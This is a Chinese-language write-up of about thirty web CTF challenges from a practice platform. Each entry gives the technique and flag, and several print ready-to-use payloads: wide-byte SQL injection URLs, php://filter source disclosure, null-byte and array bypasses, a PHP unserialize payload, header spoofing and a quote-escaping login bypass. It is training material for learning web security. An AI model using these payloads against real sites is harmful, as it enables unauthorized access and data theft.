1、
查看源代码view-source:http://chinalover.sinaapp.com/web1/
nctf{flag_admiaanaaaaaaaaaaa}
2、
MD5碰撞
http://115.28.150.176/md5/index.php?a=240610708
nctf{md5_collision_is_easy}
3、
绕过长度限制,firebug修改限制长度
nctf{follow_me_to_exploit}
4、
下载该gif文件,010编辑器打开,
最后nctf{photo_can_also_hid3_msg}
5、
所谓层层递进,就是一层一层的慢慢找吧
view-source:http://chinalover.sinaapp.com/web3/404.html
nctf{this_is_a_fl4g}
6、
゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) # (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) # (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) # (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) # (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) # (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) # (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
脑洞加密方式 http://www.tuicool.com/articles/2E3INnm
firebug 粘贴后 运行
nctf{javascript_aaencode}
7、
看起来像是老题 burpsuit抓包
8、
refer头部修改
ncf{http_referer}
9、
nctf{gzip_base64_hhhhhh}
10、
filter方式读取源码
http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
得到base64编码 并解码得到
11、
burpsuit抓包, sendtorepeater 可以发现有重定向 一个个慢慢翻
nctf{this_is_302_redirect}
12、
提示下载其他东西,查看源代码,发现下载连接为 download.php?url=[base64]
已知的文件有 download.php 尝试下载 download.php -》 ZG93bmxvYWQucGhw 并查看
所以继续下载 hereiskey.php ->
nctf{download_any_file_666}
13、
页面提示 cookie burp抓包
设置cookie为0 后发现右边出现 Login=0
将cookie设置为 Login=1
nctf{cookie_is_different_from_session}
14、
访问http://chinalover.sinaapp.com/web11/robots.txt
别太开心,flag不在这,这个文件的用途你看完了?
在CTF比赛中,这个文件往往存放着提示信息
TIP:sql.php
<?php
if($_GET[id]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$id = intval($_GET[id]);
$query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
if ($_GET[id]==1024) {
echo "<p>no! try again</p>";
}
else{
echo($query[content]);
}
}
?>
所以目标是 http://chinalover.sinaapp.com/web11/sql.php 参数是 id
而且其中的那个数字 1024 很奇怪啊
intval是取整函数,所以让 id等于 1024.* 比如1024.9999999 1024.0000001 则$id = intval($_GET[id]) 后 $id=1024
http://chinalover.sinaapp.com/web11/sql.php?id=1024.1
nctf{query_in_mysql}
15、
gbk 提示:宽字节注入
先查 表名
http://115.28.150.176/sqli/index.php?id=1%df' union select 1,table_name from information_schema.tables%23
再查 字段名
http://115.28.150.176/sqli/index.php?id=1%df' union select 1,column_name from information_schema.columns where table_name=0x666c6167%23
查询 数据
http://115.28.150.176/sqli/index.php?id=1%df' union select 1,fl4g from flag %23
nctf{gbk_3sqli}
资料:宽字节注入
https://www.91ri.org/8611.html
16、
考点是 截断 然而……
* teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf[0]=a <-为什么这个方法可以?…… 运气
* teamxlc.sinaapp.com/web4/f5a14f5e6e3453b78cd73899bad98d53/index.php?nctf=1%00%23biubiubiu %00截断 %23为 #
flag:nctf{use_00_to_jieduan}
17、
注意和第二题的区别,第二题是== 而这一题是 === 要求不仅仅是值相同 而且类型要相同,
所以这一题不能用md5碰撞
在php中 md5() 需要一个string参数,但若传入一个数组类型,它不会报错但会返回空值
利用这点,我们传入两个数组进行绕过if判断
http://chinalover.sinaapp.com/web17/index.php?a[]=1&b[]=0
Flag: nctf{php_is_so_cool}
18、
变量覆盖!
<?php if ($_SERVER["REQUEST_METHOD"] == "POST") { ?>
<?php
extract($_POST);
if ($pass == $thepassword_123) { ?>
<div class="alert alert-success">
<code><?php echo $theflag; ?></code>
</div>
<?php } ?>
<?php } ?>
extract函数“可能”导致变量覆盖漏洞,我们传入pass的值,并且把thepassword_123的值覆盖为我们需要的值
nctf{bian_liang_fu_gai!}
19、
查看index.txt
<?php
if(eregi(“hackerDJ”,$_GET[id])) {
echo(“
not allowed!
“);exit();
}
$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
echo "<p>Access granted!</p>";
echo "<p>flag: *****************} </p>";
}
?>
<br><br>
Can you authenticate to this website?
id 不能与 hackerDJ 相等,而且id经过 urldecode后要与 hackerDJ相同
http://php.net/manual/en/function.urldecode.php
$_GET[]本身就有urldecode的功能
而且就 urlencode,是把对应的ASCII码前面加上%,urldecode就是把对应的编码还原,而未经编码的保持不变
所以对hackerDJ中的任意一个进行编码或是全部编码,效果相同
http://way.nuptzj.cn/php/index.php?id=%2568ackerDJ
%2568ackerDJ在第一个GET处被urldecode成 %68ackerDJ ,绕过了第一个if判断,
接着是 代码中的显式urldecode,被还原成 hackerDJ 从而拿到 flag
20、
本地登录,上burp 添加X-Forwarded-For:127.0.0.1
nctf{happy_http_headers}
21、
都已经提示header了
burp抓包,查看
nctf{tips_often_hide_here}
22、
查看一下源代码,看一看upload.php
然后我把那张gif.gif的图片传了上去,结果
这里只写一下正确姿势,其余的上传绕过日后总结,
在upload这里添上 1.php .gif (php和 . 之间是 空格键产生的空格)
这里的 20 就是php和 . 之间的空格
利用 00 截断上传 ,把 20 修改为 00
nctf{welcome_to_hacks_world}
23、
点进去是 Source 代码,没有看到显式的过滤或转义, trim()是去除两侧空格
所以尝试传入user为 admin’)# 其中 ‘)用来分别用来闭合 #用来把后面给注释掉
这样最后的查询语句为
select user from ctf where (user='admin')
nctf{ni_ye_hui_sql?}
24、
注意提示: tip:strcmp(array,string)=null=0
所以根据代码逻辑,我们传入的pass若与pass1相等,则返回0, !strcmp则为 真
这里是关于strcmp的解释http://www.w3school.com.cn/php/func_string_strcmp.asp
利用提示,我们传入 pass数组,比如 pass[]=1, 见右上。
nctf{strcmp_is_n0t_3afe}
25、
传入十六进制,可以绕过判断, 54975581388
http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc
nctf{follow_your_dream}
26、
既然是admin的密码,怎么会是ctfuser呢……
上burpsuit 改一改,然而不对。
注意到地址栏,user1传了一个参数:ctfuser的加密结果 进去,这个也必须改掉
所以改为 user1=YWRtaW4= 后面那串是admin的base64加密。 GO
nctf{reset_password_often_have_vuln}
27、
在xman训练营时有接触过某题,我们以为它的考点是反序列化,但当时没有类(class),最后只好作罢:)
<?php
class just4fun {
var $enter;
var $secret;
}
if (isset($_GET['pass'])) {
$pass = $_GET['pass'];
if(get_magic_quotes_gpc()){
$pass=stripslashes($pass);
}
$o = unserialize($pass);
if ($o) {
$o->secret = "*";
if ($o->secret === $o->enter)
echo "Congratulation! Here is my secret: ".$o->secret;
else
echo "Oh no... You can't fool me";
}
else echo "are you trolling?";
}
?>
https://www.91ri.org/3960.html
http://www.freebuf.com/vuls/80293.html
然而有道坎实在绕不过去,那个$o->secret = “*”; 我不知道如何构造成相等……
参考网上的一篇……http://115.159.210.46/archives/19.html
<?php
class just4fun{
var $enter;
var $secret;
}
$class =new just4fun();
$class->enter=&$class->secret;
print_r(serialize($class))
?>
由上述代码得到最后的payload: http://115.28.150.176/php1/index.php?pass=O:8:%22just4fun%22:2:{s:5:%22enter%22;N;s:6:%22secret%22;R:2;}
最后稍微总结一下知识点:1)反序列化漏洞,2)php在面对object传值时的“特性”
nctf{serialize_and_unserialize}
28、
好熟悉的感觉,看看源代码……
<!--
#GOAL: login as admin,then get the flag;
error_reporting(0);
require 'db.inc.php';
function clean($str){
if(get_magic_quotes_gpc()){
$str=stripslashes($str);
}
return htmlentities($str, ENT_QUOTES);
}
$username = @clean((string)$_GET['username']);
$password = @clean((string)$_GET['password']);
$query='SELECT * FROM users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';';
$result=mysql_query($query);
if(!$result || mysql_num_rows($result) < 1){
die('Invalid password!');
}
echo $flag;
-->Invalid password!
好吧 xman夏令营时原题做过了
SELECT FROM users WHERE name=’admin\’ AND pass=’ or 1 #’;
这样一来 name=’*‘ or 1 条件恒真
所以payload是 username=admin\&password=%20or%201%23
nctf{sql_injection_is_interesting}
29、
jsfuck……
放到firebug里直接运行一下,出来一个新页面,其内容如下图http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/index.php
访问
http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/1bc29b36f623ba82aaf6724fd3b16718.php
在header里啊,上burpsuit查看,发现tip为 history of bash. 如下左图
百度了一下, 如上右图,所以试着访问
http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/.bash_history
得到新提示 zip -r flagbak.zip ./* 这是吧flagbak.zip文件解压到当前目录下,
所以flagbak.zip文件有可能仍然存在
尝试访问
http://teamxlc.sinaapp.com/web3/b0b0ad119f425408fc3d45253137d33d/flagbak.zip
解压,里面有flag.txt文件,打开,得到flag。
nctf{bash_history_means_what}
30、
<?php
if($_POST[user] && $_POST[pass]) {
mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
mysql_select_db(SAE_MYSQL_DB);
$user = $_POST[user];
$pass = md5($_POST[pass]);
$query = @mysql_fetch_array(mysql_query("select pw from ctf where user='$user'"));
if (($query[pw]) && (!strcasecmp($pass, $query[pw]))) {
echo "<p>Logged in! Key: ntcf{**************} </p>";
}
else {
echo("<p>Log in failure!</p>");
}
}
ntcf{union_select_is_wtf}